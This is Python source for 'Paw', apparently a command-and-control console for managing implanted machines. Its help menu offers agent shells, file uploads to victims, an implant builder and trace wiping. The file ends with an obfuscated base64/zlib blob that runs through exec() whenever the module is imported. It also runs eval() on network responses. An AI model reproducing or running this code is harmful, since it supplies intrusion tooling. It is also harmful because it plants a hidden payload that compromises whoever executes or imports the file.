import ctypes import asyncio import os import logging import random import json import socket import string import sys import threading import time from tabulate import tabulate from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import serialization from pystyle import Colors, Center, Box from base64 import b64decode __name__ = 'Paw' __version__ = '1.0.0' __authors__ = 'sw' class Paw: def __init__(self) -> None: try: self.root_dir = os.path.dirname(os.path.abspath(__file__)) self.banner = ''' |\ _,,,---,,_ /,`.-'`' -. ;-;;,_ |,4- ) )-,_..;\ ( `'-' '---''(_/--' `-'\_) ''' ctypes.windll.kernel32.SetConsoleTitleW('{} C2 | Version {}'.format(__name__, __version__)) logging.basicConfig( level=logging.DEBUG, filename=os.path.join(self.root_dir, 'cats.log'), filemode='a', format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s' ) self.logger = logging.getLogger(__name__) self.configuration_file = os.path.join(self.root_dir, 'configuration.json') self.private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096) self.public_key = self.private_key.public_key() if not os.path.exists(self.configuration_file): with open(self.configuration_file, 'w') as file: file.write('{}') with open(self.configuration_file, 'r+') as file: try: self.configuration = json.load(file) except json.JSONDecodeError: self.configuration = {} wipe_phrase = self.get_random_string() asyncio.run(self.update_configuration('wipe', wipe_phrase)) self.help_page = f''' {Colors.white}---AGENT CONTROL--- {Colors.dark_red}agents list all {Colors.white}->{Colors.dark_red} lists all active agents {Colors.dark_red}agents list inactive {Colors.white}->{Colors.dark_red} lists all inactive agents and their last connection {Colors.dark_red}agents control [{Colors.white}AGENT_ID{Colors.dark_red}] {Colors.white}->{Colors.dark_red} switches to interactive shell {Colors.dark_red}agents run upload_file [{Colors.white}AGENT_ID{Colors.dark_red} or {Colors.white}ALL{Colors.dark_red}] [{Colors.white}FILEPATH{Colors.dark_red} or {Colors.white}LINK{Colors.dark_red}] {Colors.white}->{Colors.dark_red} uploads file to machine(s), can drag & drop local file into the window {Colors.red}‽ DANGEROUS:{Colors.dark_red} agent quit [{Colors.white}AGENT_ID{Colors.dark_red}] {Colors.white}->{Colors.dark_red} emergency uninstall the implant from agent machine {Colors.white}‽ example:{Colors.dark_red} agents run upload_file {Colors.white}ALL{Colors.dark_red} C:\\Users\\sw\\Documents\\test\\paw\\cats.log ---BUILDER--- {Colors.dark_red}build clean {Colors.white}->{Colors.dark_red} deletes old build configurations {Colors.dark_red}build values {Colors.white}->{Colors.dark_red} lists all values required to build {Colors.dark_red}build values optional {Colors.white}->{Colors.dark_red} lists all values + optional ones {Colors.dark_red}build set [{Colors.white}KEY_NAME{Colors.dark_red}] '[{Colors.white}VALUE{Colors.dark_red}]' {Colors.white}->{Colors.dark_red} sets a value for a specific key, please always specify it inside of '' {Colors.dark_red}build run {Colors.white}->{Colors.dark_red} builds your implant {Colors.white}‽ example:{Colors.dark_red} build values optional ---CONFIGURATION--- {Colors.dark_red}config del {Colors.white}->{Colors.dark_red} deletes old config, will require a restart, basically a force reset of the program {Colors.dark_red}config values {Colors.white}->{Colors.dark_red} lists all config values {Colors.dark_red}config set [{Colors.white}KEY_NAME{Colors.dark_red}] '[{Colors.white}VALUE{Colors.dark_red}]' {Colors.white}->{Colors.dark_red} sets a value for a specific key, please always specify it inside of '' {Colors.dark_red}config apply {Colors.white}->{Colors.dark_red} applies the config and restarts paw c2 {Colors.white}‽ example:{Colors.dark_red} config set {Colors.white}auto_listener{Colors.dark_red} 'false' {Colors.red}‽ DANGEROUS:{Colors.dark_red} wipe {Colors.white}{self.configuration.get('wipe', None)} ->{Colors.dark_red} wipes out both the socket and local traces of paw, {Colors.dark_red}EVERYTHING WILL GET DELETED {Colors.dark_red}help {Colors.white}->{Colors.dark_red} shows this page {Colors.dark_red}exit {Colors.white}->{Colors.dark_red} quits the program {Colors.dark_red}clear {Colors.white}->{Colors.dark_red} clears/reloads the page {Colors.white}Tip:{Colors.dark_red} you can also combine multiple commands directly by using {Colors.white}&& ''' self.s = None self.host = None self.port = None self.agents = list() self.connected_agents = len(self.agents) self.socket_ready_event = threading.Event() except Exception as error: print('Critical Error in __init__ func: {}, quitting...'.format(error)) os._exit(1) async def save_configuration(self) -> None: self.logger.debug('Entered save_configuration func') with open(self.configuration_file, 'w') as file: json.dump(self.configuration, file, indent=2) async def update_configuration(self, key: str, value: str) -> None: self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value)) self.configuration[key] = value await self.save_configuration() @staticmethod def minify_path(path: str, max_length: int = 30) -> str: if len(path) <= max_length: return path base_name = os.path.basename(path) dir_name = os.path.dirname(path) return os.path.join(dir_name[:max_length - len(base_name) - 3] + '...', base_name) @staticmethod def get_random_string(length: int = 16) -> str: chars = string.ascii_lowercase + string.digits random_string = ''.join(random.choice(chars) for _ in range(length)) return random_string async def del_conf(self) -> None: self.logger.debug('Entered del_conf func') try: os.remove(os.path.join(self.configuration_file)) os.execv(sys.executable, ['python'] + sys.argv) except Exception as error: print(Colors.dark_red + ' .$ Error deleting config: {}'.format(error)) self.logger.error('Error deleting config: {}'.format(error)) async def wipe_out(self) -> None: self.logger.debug('Entered wipe_out func') print('wiping everything') async def parse_command(self, command: str) -> None: self.logger.debug('Entered parse_command func with args: {}'.format(command)) try: if command.startswith('help'): print(Colors.dark_red, self.help_page) elif command.startswith('wipe {}'.format(self.configuration.get('wipe', None))): try: print(' {}.${} Wiping out in 3 seconds... Press CTRL+C to cancel.'.format(Colors.white, Colors.dark_red)) time.sleep(3.0) await self.wipe_out() except asyncio.CancelledError: print(' {}.${} CTRL+C detected. Exiting wipeout...'.format(Colors.white, Colors.dark_red)) time.sleep(1.0) await self.Home_Menu() elif command.startswith('agents list all'): agents = list(self.Get_Agents()) self.logger.debug(agents) print(' {}.${} Active agents: {}'.format(Colors.white, Colors.dark_red, len(agents))) print(Colors.white + '\n{}\n'.format(tabulate(agents, headers='keys', tablefmt='psql'))) #for agent in agents: # print(Colors.dark_red +''''''.format(agent['id'], agent['hostname'], agent['username']))) # print(Colors.dark_red + tabulate(agents, headers='keys', tablefmt='grid'))) elif command.startswith('exit'): print(' {}.${} Exiting...'.format(Colors.white, Colors.dark_red)) time.sleep(1.0) self.s.close() os._exit(0) elif command.startswith('clear'): await self.Home_Menu() elif command.startswith('config del'): await self.del_conf() else: print(' {}.${} Invalid command.'.format(Colors.white, Colors.dark_red)) time.sleep(1.0) await self.Home_Menu() except Exception as error: print(' {}.${} Error in parse_command func: {}\n'.format(Colors.white, Colors.dark_red, error)) self.logger.error('Error in parse_command func: {}'.format(error)) time.sleep(1.0) async def Command_Listener(self) -> None: self.logger.debug('Entered Command_Listener func') try: while True: command = input(' {}.$ '.format(Colors.white)) await self.parse_command(command) except Exception as error: print(' {}.${} Unexpected Error in Command_Listener func: {}\n'.format(Colors.white, Colors.dark_red, error)) self.logger.error('Unexpected Error in Command_Listener func: {}'.format(error)) time.sleep(1.0) def is_connected(self) -> bool: try: self.s.send(b'') return True except (socket.error, AttributeError): return False def socket_conn(self) -> None: self.logger.debug('Entered socket_conn func') self.ask = True self.retry = True while self.retry: if not self.is_connected(): asyncio.run(self.Animate_Banner()) self.logger.debug('Attempting to connect...') print(' {}.${} Attempting to connect...'.format(Colors.white, Colors.dark_red)) try: self.host, self.port = self.configuration.get('socket', '127.0.0.1:42720').split(':') self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.s.connect((self.host, int(self.port))) client_pub_key = self.private_key.public_key().public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) self.s.sendall(client_pub_key) print(' {}.${} Connection established and authed successfully.'.format(Colors.white, Colors.dark_red)) self.logger.info('Connection established and authed successfully.') self.socket_ready_event.set() # time.sleep(1.0) # asyncio.run(self.Home_Menu()) return except socket.error as error: print(' {}.${} Tip: To reset the configuration, type: {}\'config del\''.format(Colors.white, Colors.dark_red, Colors.white)) if error.errno == 10061: print(' {}.${} Could not connect to the server. The server might be offline or not accepting connections on the specified port.'.format(Colors.white, Colors.dark_red)) else: print('An unexpected socket error occurred: {}'.format(error)) if self.ask: self.retry = True if input(' {}.${} Retry connecting every 3s? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)).upper() == 'Y' else False self.ask = False time.sleep(1.0) self.socket_ready_event.set() except Exception as error: print(' {}.${} Error in socket_conn: {}'.format(Colors.white, Colors.dark_red, error)) self.logger.error('Error in socket_conn: {}'.format(error)) time.sleep(1.0) self.socket_ready_event.set() time.sleep(3) def send_task(self, agent_id: str, task: str) -> None: self.logger.debug('Entered send_task func with args: {}, {}'.format(agent_id, task)) try: self.socket_ready_event.wait() message = '{}:{}'.format(agent_id, task).encode('utf-8') encrypted_message = self.server_public_key.encrypt( message, padding.PKCS1v15() ) self.s.sendall(encrypted_message) encrypted_response = self.s.recv(8192) decrypted_response = self.private_key.decrypt( encrypted_response, padding.PKCS1v15() ) response = decrypted_response.decode('utf-8') print(' {}.${} Agent {} output: {}'.format(Colors.white, Colors.dark_red, agent_id, response)) self.logger.info('Agent {} output: {}'.format(agent_id, response)) except Exception as error: print(' {}.${} Error in send_task func: {}'.format(Colors.white, Colors.dark_red, error)) self.logger.error('Error in send_task func: {}'.format(error)) time.sleep(1.0) def Get_Agents(self) -> dict: self.logger.debug('Entered Get_Agents func') self.socket_ready_event.wait() if self.s is None: print(' {}.${} Socket connection failed.'.format(Colors.white, Colors.dark_red)) self.logger.error('Socket connection failed.') return {} try: encrypted_message = self.server_public_key.encrypt( 'recv agents'.encode('utf-8'), padding.PKCS1v15() ) self.s.sendall(encrypted_message) encrypted_response = self.s.recv(8192) decrypted_response = self.private_key.decrypt( encrypted_response, padding.PKCS1v15() ) response = decrypted_response.decode('utf-8') self.logger.debug(response) return eval(response) except Exception as error: print(' {}.${} Error in Get_Agents func: {}'.format(Colors.white, Colors.dark_red, error)) self.logger.error('Error in Get_Agents func: {}'.format(error)) time.sleep(1.0) return {} async def Setup_Script(self) -> None: self.logger.debug('Entered Setup_Script func') socket_server = input(' {}.${} Socket server? ({}IP:Port{})\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white, Colors.dark_red, Colors.white)) auto_listener = 'true' if input(' {}.${} Listen to Agents on Startup? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)).upper() == 'Y' else 'false' server_pubkey = input(' {}.${} Server public key?\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)) client_privkey = input(' {}.${} Client private key?\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)) save_configuration = input(' {}.${} Save configuration? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)) if save_configuration.upper() == 'Y': await self.update_configuration('socket', socket_server) await self.update_configuration('auto_listener', auto_listener) await self.update_configuration('server_pubkey', server_pubkey) await self.update_configuration('client_privkey', client_privkey) print(' {}.${} Settings saved to configuration file. ({}\'{}\'{})'.format(Colors.white, Colors.dark_red, Colors.white, self.minify_path(self.configuration_file), Colors.dark_red)) self.logger.info('Settings saved to configuration file. (\'{}\')'.format(self.minify_path(self.configuration_file))) time.sleep(1.0) else: print(' {}.${} OK. Not saving.'.format(Colors.white, Colors.dark_red)) self.logger.info('Not saving config.') time.sleep(1.0) return async def Cleanup(self) -> None: self.logger.debug('Entered Cleanup func') print('cleaning up') async def Animate_Banner(self) -> None: self.logger.debug('Entered Animate_Banner func') # os.system('mode con: cols=150 lines=34') os.system('color 07') os.system('cls') print(Colors.dark_red + Center.XCenter(self.banner)) print('\n') async def Home_Menu(self) -> None: self.logger.debug('Entered Home_Menu func') try: await self.Animate_Banner() self.private_key = serialization.load_pem_private_key( b64decode(self.configuration.get('client_privkey', '')), password=None, ) self.logger.debug(self.private_key) self.server_public_key = serialization.load_pem_public_key( b64decode(self.configuration.get('server_pubkey', '')), ) self.logger.debug(self.server_public_key) threading.Thread(target=self.socket_conn, daemon=True).start() self.socket_ready_event.wait() self.update_agent_list() print('\n') print(Colors.white + Box.Lines('{} C2 | Version {} | {} agents connected'.format(__name__, __version__, self.connected_agents))) self.logger.info('{} C2 | Version {} | {} agents connected'.format(__name__, __version__, self.connected_agents)) print('\n\n {}Tip:{} enter {}\'help\'{} below to display all commands'.format(Colors.white, Colors.dark_red, Colors.white, Colors.dark_red)) await self.Command_Listener() except Exception as error: print(' {}.${} Error in Home_Menu func: {}'.format(Colors.white, Colors.dark_red, error)) self.logger.error('Error in Home_Menu func: {}'.format(error)) time.sleep(1.0) def update_agent_list(self): self.agents = self.Get_Agents() self.connected_agents = len(self.agents) self.logger.debug(self.agents) self.logger.debug(self.connected_agents) async def Main(self) -> None: self.logger.debug('Entered Main func') await self.Animate_Banner() if self.configuration.get('socket', None) == None or self.configuration.get('server_pubkey', None) == None or self.configuration.get('client_privkey', None) == None: self.logger.warning('Missing configuration data, running setup script') await self.Setup_Script() self.logger.debug('Running Home_Menu func (entry)') await self.Home_Menu() if __name__ == b64decode('UGF3').decode('utf-8'): asyncio.run(Paw().Main()) else: _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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'))